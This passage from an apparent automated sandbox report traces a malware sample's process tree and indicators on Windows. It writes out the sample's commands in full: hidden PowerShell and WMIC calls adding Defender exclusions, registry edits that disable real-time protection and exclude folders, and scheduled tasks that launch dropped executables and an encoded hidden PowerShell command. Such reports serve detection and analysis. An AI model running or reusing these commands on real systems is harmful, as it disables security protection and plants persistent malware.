Suspicious behavior: EnumeratesProcesses 30 IoCs

Processes:

powershell.exepowershell.EXEpowershell.EXEpowershell.exepowershell.EXEjFXNTIL.exepowershell.exepowershell.exe

pid	process
2828	powershell.exe
1312	powershell.EXE
1312	powershell.EXE
1312	powershell.EXE
1132	powershell.EXE
1132	powershell.EXE
1132	powershell.EXE
2060	powershell.exe
2276	powershell.EXE
2276	powershell.EXE
2276	powershell.EXE
2504	jFXNTIL.exe
2504	jFXNTIL.exe
2504	jFXNTIL.exe
2504	jFXNTIL.exe
2504	jFXNTIL.exe
2648	powershell.exe
2504	jFXNTIL.exe
2504	jFXNTIL.exe
2504	jFXNTIL.exe
988	powershell.exe
2504	jFXNTIL.exe
2504	jFXNTIL.exe
2504	jFXNTIL.exe
2504	jFXNTIL.exe
2504	jFXNTIL.exe
2504	jFXNTIL.exe
2504	jFXNTIL.exe
2504	jFXNTIL.exe
2504	jFXNTIL.exe

Suspicious use of AdjustPrivilegeToken 63 IoCs

Processes:

powershell.exeWMIC.exepowershell.EXEpowershell.EXEpowershell.exeWMIC.exepowershell.EXEpowershell.exeWMIC.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeIncreaseQuotaPrivilege	2464	WMIC.exe
Token: SeSecurityPrivilege	2464	WMIC.exe
Token: SeTakeOwnershipPrivilege	2464	WMIC.exe
Token: SeLoadDriverPrivilege	2464	WMIC.exe
Token: SeSystemProfilePrivilege	2464	WMIC.exe
Token: SeSystemtimePrivilege	2464	WMIC.exe
Token: SeProfSingleProcessPrivilege	2464	WMIC.exe
Token: SeIncBasePriorityPrivilege	2464	WMIC.exe
Token: SeCreatePagefilePrivilege	2464	WMIC.exe
Token: SeBackupPrivilege	2464	WMIC.exe
Token: SeRestorePrivilege	2464	WMIC.exe
Token: SeShutdownPrivilege	2464	WMIC.exe
Token: SeDebugPrivilege	2464	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2464	WMIC.exe
Token: SeRemoteShutdownPrivilege	2464	WMIC.exe
Token: SeUndockPrivilege	2464	WMIC.exe
Token: SeManageVolumePrivilege	2464	WMIC.exe
Token: 33	2464	WMIC.exe
Token: 34	2464	WMIC.exe
Token: 35	2464	WMIC.exe
Token: SeDebugPrivilege	1312	powershell.EXE
Token: SeDebugPrivilege	1132	powershell.EXE
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	3060	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3060	WMIC.exe
Token: SeSecurityPrivilege	3060	WMIC.exe
Token: SeTakeOwnershipPrivilege	3060	WMIC.exe
Token: SeLoadDriverPrivilege	3060	WMIC.exe
Token: SeSystemtimePrivilege	3060	WMIC.exe
Token: SeBackupPrivilege	3060	WMIC.exe
Token: SeRestorePrivilege	3060	WMIC.exe
Token: SeShutdownPrivilege	3060	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3060	WMIC.exe
Token: SeUndockPrivilege	3060	WMIC.exe
Token: SeManageVolumePrivilege	3060	WMIC.exe
Token: SeDebugPrivilege	2276	powershell.EXE
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	340	WMIC.exe
Token: SeIncreaseQuotaPrivilege	340	WMIC.exe
Token: SeSecurityPrivilege	340	WMIC.exe
Token: SeTakeOwnershipPrivilege	340	WMIC.exe
Token: SeLoadDriverPrivilege	340	WMIC.exe
Token: SeSystemtimePrivilege	340	WMIC.exe
Token: SeBackupPrivilege	340	WMIC.exe
Token: SeRestorePrivilege	340	WMIC.exe
Token: SeShutdownPrivilege	340	WMIC.exe
Token: SeSystemEnvironmentPrivilege	340	WMIC.exe
Token: SeUndockPrivilege	340	WMIC.exe
Token: SeManageVolumePrivilege	340	WMIC.exe
Token: SeDebugPrivilege	988	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2876	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2876	WMIC.exe
Token: SeSecurityPrivilege	2876	WMIC.exe
Token: SeTakeOwnershipPrivilege	2876	WMIC.exe
Token: SeLoadDriverPrivilege	2876	WMIC.exe
Token: SeSystemtimePrivilege	2876	WMIC.exe
Token: SeBackupPrivilege	2876	WMIC.exe
Token: SeRestorePrivilege	2876	WMIC.exe
Token: SeShutdownPrivilege	2876	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2876	WMIC.exe
Token: SeUndockPrivilege	2876	WMIC.exe
Token: SeManageVolumePrivilege	2876	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35.exeInstall.exeInstall.exeforfiles.execmd.exepowershell.exetaskeng.exeyUrVPAd.exetaskeng.exe

description	pid	process	target process
PID 1008 wrote to memory of 1896	1008	1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35.exe	Install.exe
PID 1008 wrote to memory of 1896	1008	1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35.exe	Install.exe
PID 1008 wrote to memory of 1896	1008	1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35.exe	Install.exe
PID 1008 wrote to memory of 1896	1008	1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35.exe	Install.exe
PID 1008 wrote to memory of 1896	1008	1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35.exe	Install.exe
PID 1008 wrote to memory of 1896	1008	1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35.exe	Install.exe
PID 1008 wrote to memory of 1896	1008	1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35.exe	Install.exe
PID 1896 wrote to memory of 3044	1896	Install.exe	Install.exe
PID 1896 wrote to memory of 3044	1896	Install.exe	Install.exe
PID 1896 wrote to memory of 3044	1896	Install.exe	Install.exe
PID 1896 wrote to memory of 3044	1896	Install.exe	Install.exe
PID 1896 wrote to memory of 3044	1896	Install.exe	Install.exe
PID 1896 wrote to memory of 3044	1896	Install.exe	Install.exe
PID 1896 wrote to memory of 3044	1896	Install.exe	Install.exe
PID 3044 wrote to memory of 2736	3044	Install.exe	forfiles.exe
PID 3044 wrote to memory of 2736	3044	Install.exe	forfiles.exe
PID 3044 wrote to memory of 2736	3044	Install.exe	forfiles.exe
PID 3044 wrote to memory of 2736	3044	Install.exe	forfiles.exe
PID 3044 wrote to memory of 2736	3044	Install.exe	forfiles.exe
PID 3044 wrote to memory of 2736	3044	Install.exe	forfiles.exe
PID 3044 wrote to memory of 2736	3044	Install.exe	forfiles.exe
PID 2736 wrote to memory of 2488	2736	forfiles.exe	cmd.exe
PID 2736 wrote to memory of 2488	2736	forfiles.exe	cmd.exe
PID 2736 wrote to memory of 2488	2736	forfiles.exe	cmd.exe
PID 2736 wrote to memory of 2488	2736	forfiles.exe	cmd.exe
PID 2736 wrote to memory of 2488	2736	forfiles.exe	cmd.exe
PID 2736 wrote to memory of 2488	2736	forfiles.exe	cmd.exe
PID 2736 wrote to memory of 2488	2736	forfiles.exe	cmd.exe
PID 2488 wrote to memory of 2828	2488	cmd.exe	powershell.exe
PID 2488 wrote to memory of 2828	2488	cmd.exe	powershell.exe
PID 2488 wrote to memory of 2828	2488	cmd.exe	powershell.exe
PID 2488 wrote to memory of 2828	2488	cmd.exe	powershell.exe
PID 2488 wrote to memory of 2828	2488	cmd.exe	powershell.exe
PID 2488 wrote to memory of 2828	2488	cmd.exe	powershell.exe
PID 2488 wrote to memory of 2828	2488	cmd.exe	powershell.exe
PID 2828 wrote to memory of 2464	2828	powershell.exe	WMIC.exe
PID 2828 wrote to memory of 2464	2828	powershell.exe	WMIC.exe
PID 2828 wrote to memory of 2464	2828	powershell.exe	WMIC.exe
PID 2828 wrote to memory of 2464	2828	powershell.exe	WMIC.exe
PID 2828 wrote to memory of 2464	2828	powershell.exe	WMIC.exe
PID 2828 wrote to memory of 2464	2828	powershell.exe	WMIC.exe
PID 2828 wrote to memory of 2464	2828	powershell.exe	WMIC.exe
PID 3044 wrote to memory of 1976	3044	Install.exe	schtasks.exe
PID 3044 wrote to memory of 1976	3044	Install.exe	schtasks.exe
PID 3044 wrote to memory of 1976	3044	Install.exe	schtasks.exe
PID 3044 wrote to memory of 1976	3044	Install.exe	schtasks.exe
PID 3044 wrote to memory of 1976	3044	Install.exe	schtasks.exe
PID 3044 wrote to memory of 1976	3044	Install.exe	schtasks.exe
PID 3044 wrote to memory of 1976	3044	Install.exe	schtasks.exe
PID 2780 wrote to memory of 2568	2780	taskeng.exe	yUrVPAd.exe
PID 2780 wrote to memory of 2568	2780	taskeng.exe	yUrVPAd.exe
PID 2780 wrote to memory of 2568	2780	taskeng.exe	yUrVPAd.exe
PID 2780 wrote to memory of 2568	2780	taskeng.exe	yUrVPAd.exe
PID 2568 wrote to memory of 1712	2568	yUrVPAd.exe	schtasks.exe
PID 2568 wrote to memory of 1712	2568	yUrVPAd.exe	schtasks.exe
PID 2568 wrote to memory of 1712	2568	yUrVPAd.exe	schtasks.exe
PID 2568 wrote to memory of 1712	2568	yUrVPAd.exe	schtasks.exe
PID 2568 wrote to memory of 2284	2568	yUrVPAd.exe	schtasks.exe
PID 2568 wrote to memory of 2284	2568	yUrVPAd.exe	schtasks.exe
PID 2568 wrote to memory of 2284	2568	yUrVPAd.exe	schtasks.exe
PID 2568 wrote to memory of 2284	2568	yUrVPAd.exe	schtasks.exe
PID 108 wrote to memory of 1312	108	taskeng.exe	powershell.EXE
PID 108 wrote to memory of 1312	108	taskeng.exe	powershell.EXE
PID 108 wrote to memory of 1312	108	taskeng.exe	powershell.EXE

C:\Users\Admin\AppData\Local\Temp\1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35.exe
"C:\Users\Admin\AppData\Local\Temp\1f965d2f5cd11d6432f652f7ff1c6b3549dc247aac6042d84be28a836299bf35.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1008

C:\Users\Admin\AppData\Local\Temp\7zS79F.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1896

C:\Users\Admin\AppData\Local\Temp\7zS9E0.tmp\Install.exe
.\Install.exe /ckOdidYe "525403" /S
3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:3044

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
4⤵
- Suspicious use of WriteProcessMemory
PID:2736

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
5⤵
- Suspicious use of WriteProcessMemory
PID:2488

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2828

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2464

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bUVDAOPnPkUhchiViu" /SC once /ST 05:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON\QIyULnqRsjUxkcq\yUrVPAd.exe\" q7 /OnFdidiz 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3044 -s 508
4⤵
- Loads dropped DLL
- Program crash
PID:2836

C:\Windows\system32\taskeng.exe
taskeng.exe {6C05789B-B690-4828-8399-1DC7EC795C5E} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Suspicious use of WriteProcessMemory
PID:2780

C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON\QIyULnqRsjUxkcq\yUrVPAd.exe
C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON\QIyULnqRsjUxkcq\yUrVPAd.exe q7 /OnFdidiz 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:2568

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "glUUVAbFk" /SC once /ST 02:23:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1712

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "glUUVAbFk"
3⤵
PID:2284

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "glUUVAbFk"
3⤵
PID:2560

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:532

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1032

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:1296

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:292

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gSmKSQqSA" /SC once /ST 00:11:54 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1392

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gSmKSQqSA"
3⤵
PID:1660

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gSmKSQqSA"
3⤵
PID:1816

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
3⤵
PID:2120

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
4⤵
PID:564

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2060

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:3060

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
3⤵
PID:876

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1608

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1548

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1496

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1520

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2412

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1732

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1984

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\WZpWNMsDzSAcKsSA\YpxQpBsK\ekduWzVPfypDrZBU.wsf"
3⤵
PID:2608

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\WZpWNMsDzSAcKsSA\YpxQpBsK\ekduWzVPfypDrZBU.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:336

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2672

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2492

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2580

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2516

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2512

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2864

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2748

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1540

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2340

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2532

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fHdtCMTPryqSDgVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1492

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fHdtCMTPryqSDgVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2808

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1584

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2116

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1352

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:340

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:624

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2368

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2964

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2952

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2172

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:840

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2024

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1960

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:980

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:292

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1392

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1724

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fHdtCMTPryqSDgVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2200

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fHdtCMTPryqSDgVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:316

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2656

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1208

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON" /t REG_DWORD /d 0 /reg:32
4⤵
PID:748

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1304

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1136

C:\Windows\SysWOW64\reg.exe
